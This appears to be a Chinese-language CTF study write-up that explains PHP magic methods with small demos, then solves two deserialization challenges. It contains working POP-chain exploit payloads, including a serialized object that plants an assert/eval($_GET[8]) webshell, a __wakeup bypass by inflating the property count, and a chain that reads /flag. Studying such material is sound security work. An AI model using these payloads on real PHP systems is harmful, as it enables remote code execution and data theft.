前置知识:
1.关于魔术方法:
__construct(),类的构造函数 __destruct(),类的析构函数 __call(),在对象中调用一个不可访问方法时调用 __callStatic(),用静态方式中调用一个不可访问方法时调用 __get(),获得一个类的成员变量时调用 __set(),设置一个类的成员变量时调用 __isset(),当对不可访问属性调用isset()或empty()时调用 __unset(),当对不可访问属性调用unset()时被调用。 __sleep(),执行serialize()时,先会调用这个函数 __wakeup(),执行unserialize()时,先会调用这个函数 __toString(),类被当成字符串时的回应方法 __invoke(),调用函数的方式调用一个对象时的回应方法 __set_state(),调用var_export()导出类时,此静态方法会被调用。 __clone(),当对象复制完成时调用 __autoload(),尝试加载未定义的类 __debugInfo(),打印所需调试信息
重新一个一个深入了解:
1.__construct
与__destruct
__construct 当一个对象创建时自动调用
__destruct 当对象被销毁时自动调用 (php绝大多数情况下会自动调用销毁对象)
<?php
Class User{
public $id;
public $name;
public function __construct()
{
echo($this->name->first);
}
}
Class Password{
public $first="first";
public $second="second";
}
$a = new User();
$a->name = new Password();
结果:报错
Notice: Trying to get property of non-object in D:\wamp\www\test\4.php on line 7
PHP Notice: Trying to get property of non-object in D:\wamp\www\test\4.php on line 7
为什么?我们要了解代码执行的顺序。
1.>>>我们实例化
User()
赋值给$a.2.>>>实例化的同时,对象创建,就会执行构造方法__construct(这个时候还没有执行18行,是引用不到类Password的)
3.>>>执行$a->name = new Password();
如果是__destruct呢
<?php
Class User{
public $id;
public $name;
public function __destruct()
{
echo($this->name->first);
}
}
Class Password{
public $first="first";
public $second="second";
}
$a = new User();
$a->name = new Password();
结果:
first
代码执行顺序:
1.>>>我们实例化
User()
赋值给$a.2.>>>执行$a->name = new Password();
3.>>>这个时候$a里面的属性name已经实例化Password()了
2.__call
__call() 在对象上下文中调用不可访问的方法时触发
<?php
Class User{
public $id;
public $name;
public function __call($arg1,$arg2)
{
echo "$arg1,$arg2[0]"."\n";
}
}
Class Password{
public $first;
public $second;
public function __destruct(){
$this->first->noexist("Test");
}
}
$a = new Password();
$a->first = new User();
结果:
noexist,Test
注意:这里要触发__call是要对象调用不可访问的方法!!!
如果添加这样的代码是触发不了的:
<?php
Class User{
public $id;
public $name;
public function __call($arg1,$arg2)
{
echo "$arg1,$arg2[0]"."\n";
}
}
Class Password{
public $first;
public $second;
public function __destruct(){
$this->second=new Test(); // 新添加
$this->second->noexist("Test"); // 新修改
}
}
Class Test{} // 新添加
$a = new Password();
$a->first = new User();
这个链子必须跟着要触发的魔术方法,就是这里必须是实例化User的不可访问的方法
3.__callStatic()
__callStatic(),用静态方式中调用一个不可访问方法时调用
访问静态成员用::
在PHP中双冒号 (::)操作符是一种范围解析操作符,又作用域限定操作符。 它是对类中的方法的静态 ( static) 引用,可以访问静态、const和类中重写的属性与方法。 php调用类的内部静态成员,或者是类之间调用就要用两个冒号 (::)。
和上面的那个例子几乎一样,区别就是 ::
<?php
Class User{
public $id;
public $name;
public static function __callStatic($arg1,$arg2)
{
echo "$arg1,$arg2[0]"."\n";
}
}
Class Password{
public $first;
public $second;
public function __destruct(){
$this->first::noexist("Test");
}
}
$a = new Password();
$a->first = new User();
结果:
noexist,Test
4.__get()
__get() 用于从不可访问的属性读取数据//调用私有属性时使用 // 不存在调用
和__call如出一辙,只不过函数换成值:
<?php
Class User{
public $id;
public $name;
public function __get($arg)
{
echo "__get success"."\n$arg";
}
}
Class Password{
public $first;
public $second;
public function __destruct(){
$this->first->noexist;
}
}
$a = new Password();
$a->first = new User();
结果:
__get success
noexist
注意点和__call一样
5.__set
__set() 用于将数据写入不可访问的属性 给一个未定义的属性赋值时,此方法会被触发,传递的参数是被设置的属性名和值 // 不存在赋值
<?php
Class User{
public $id;
public $name;
public function __set($arg1,$arg2)
{
echo "__set success"."\n$arg1,$arg2";
}
}
Class Password{
public $first;
public $second;
public function __destruct(){
$this->first->noexist="1";
}
}
$a = new Password();
$a->first = new User();
结果:
__set success
noexist,1
6.__isset()
__isset() 在不可访问的属性上调用isset()或empty()触发
<?php
error_reporting();
Class User{
public $id;
public $name;
public function __isset($arg)
{
echo "__isset success"."\n$arg";
}
}
Class Password{
public $first;
public $second;
public function __destruct(){
isset($this->first->noexist);
}
}
$a = new Password();
$a->first = new User();
结果:
__isset success
noexist
7.__unset()
<?php
error_reporting();
Class User{
public $id;
public $name;
public function __unset($arg)
{
echo "__unset() success"."\n$arg";
}
}
Class Password{
public $first;
public $second;
public function __destruct(){
unset($this->first->noexist);
}
}
$a = new Password();
$a->first = new User();
结果:
__unset() success
noexist
8.__sleep
<?php
class User{
const SITE = 'uusama';
public $username;
public $nickname;
private $password;
public function __construct($username, $nickname, $password)
{
$this->username = $username;
$this->nickname = $nickname;
$this->password = $password;
}
// 重载序列化调用的方法
public function __sleep()
{
// 返回需要序列化的变量名,过滤掉password变量
return array('username', 'nickname');
}
}
$user = new User('a', 'b', 'c');
echo serialize($user);
用参考文献的例子.可以过滤掉Password变量
结果:
O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}
9.__wakeup()
这个方法主要还是讲绕过吧。
<?php
error_reporting(0);
class dxg
{
function fmm()
{
return "nonono";
}
}
class lt
{
public $impo='hi';
public $md51='weclome';
public $md52='to NSS';
function __construct()
{
$this->impo = new dxg;
}
function __wakeup()
{
$this->impo = new dxg;
return $this->impo->fmm();
}
function __toString()
{
if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)
return $this->impo->fmm();
}
function __destruct()
{
echo $this;
}
}
class fin
{
public $a;
public $url = 'https://www.ctfer.vip';
public $title;
function fmm()
{
$b = $this->a;
$b($this->title);
}
}
if (isset($_GET['NSS'])) {
$Data = unserialize($_GET['NSS']);
} else {
highlight_file(__file__);
}
拿 SWPU NSS新生赛 一道题做演示。
很明显这里是要利用 $b($this->title); 这一句构造一句话木马的。
有两个地方调用了fmm()这个函数,但是__wakeup魔术方法会把实例化引向Class dxg里面,我们想要是再class fin里面。只能利用__toString。至于__construct这个魔术方法里面的实例化的对象我们是可以控制的,所以payload如下:
<?php
class lt
{
public $impo;
public $md51='weclome';
public $md52='to NSS';
function __construct()
{
$this->impo = new fin;
}
function __toString()
{
if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)
return "aa";
}
}
class fin
{
public $a;
public $url = 'https://www.ctfer.vip';
public $title;
function fmm()
{
$b = $this->a;
$b($this->title);
}
}
$a = new lt();
$a->md51="240610708";
$a->md52="QNKCDZO";
$a->impo->a="assert";
$a->impo->title="eval(\$_GET[8])";
$str = serialize($a);
$str1 = preg_replace("/:3:{s:4:/",":4:{s:4:",$str); //绕过wakeup
echo urlencode($str1);
只要把对象成员改大,就可以绕过__wakeup。只不过这个绕过方法有php的版本限制。
O:2:"lt":3:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"assert";s:3:"url";s:21:"https://www.ctfer.vip";s:5:"title";s:14:"eval($_GET[8])";}s:4:"md51";s:9:"240610708";s:4:"md52";s:7:"QNKCDZO";} O:2:"lt":4:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"assert";s:3:"url";s:21:"https://www.ctfer.vip";s:5:"title";s:14:"eval($_GET[8])";}s:4:"md51";s:9:"240610708";s:4:"md52";s:7:"QNKCDZO";}
区别就是把o的成员改大。
10.__toString()
当一个对象被当作一个字符串被调用。
<?php
Class User{
public $id;
public $name;
public function __toString(){
return "qingfeng";
}
}
Class Password{
public $first;
public $second;
public function __destruct(){
echo $this->first;
}
}
$a = new Password();
$a->first = new User();
结果:
qingfeng
11.__invoke
当脚本尝试将对象调用为函数时触发 魔术方法__invoke被自动调用的条件是类被当成一个函数被调用
<?php
Class User{
public $id;
public $name;
public function __invoke(){
echo "__invoke";
}
}
Class Password{
public $first;
public $second;
public function __destruct(){
($this->first)();
}
}
$a = new Password();
$a->first = new User();
结果:
__invoke
12.__clone
<?php
Class User{
public $id;
public $name;
public function __clone(){
echo "__clone";
}
}
Class Password{
public $first;
public $second;
public function __destruct(){
$this->second = clone($this->first);
}
}
$a = new Password();
$a->first = new User();
结果:
__clone
小结
总算是非常非常明白地搞懂了这个序列化的东西了,现在回头来看这个题目就感觉非常简单了。
解题
<?php
error_reporting(0);
highlight_file(__FILE__);
#Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Start{
public $name;
protected $func;
public function __destruct()
{
echo "Welcome to NewStarCTF, ".$this->name;
}
public function __isset($var)
{
($this->func)();
}
}
class Sec{
private $obj;
private $var;
public function __toString()
{
$this->obj->check($this->var);
return "CTFers";
}
public function __invoke()
{
echo file_get_contents('/flag');
}
}
class Easy{
public $cla;
public function __call($fun, $var)
{
$this->cla = clone $var[0];
}
}
class eeee{
public $obj;
public function __clone()
{
if(isset($this->obj->cmd)){
echo "success";
}
}
}
if(isset($_POST['pop'])){
unserialize($_POST['pop']);
}
题目给了源码,我们先找终点。
链子:
file_get_contents->__invoke->__isset->__clone->__call->__toString->__destruct;
payload:
<?php
error_reporting(0);
class Start{
public $name;
public $func;
public function __destruct()
{
echo "Welcome to NewStarCTF, ".$this->name;
}
public function __isset($var)
{
($this->func)();
}
}
class Sec{
public $obj;
public $var;
public function __toString()
{
$this->obj->check($this->var);
return "CTFers";
}
public function __invoke()
{
echo file_get_contents('/flag');
}
}
class Easy{
public $cla;
public function __call($fun, $var)
{
$this->cla = clone $var[0];
}
}
class eeee{
public $obj;
public function __clone()
{
if(isset($this->obj->cmd)){
echo "success";
}
}
}
$a = new Start();
$a->name = new Sec();
$a->name->obj = new Easy();
$a->name->var = new eeee();
$a->name->var->obj = new Start();
$a->name->var->obj->func = new Sec();
echo (serialize($a));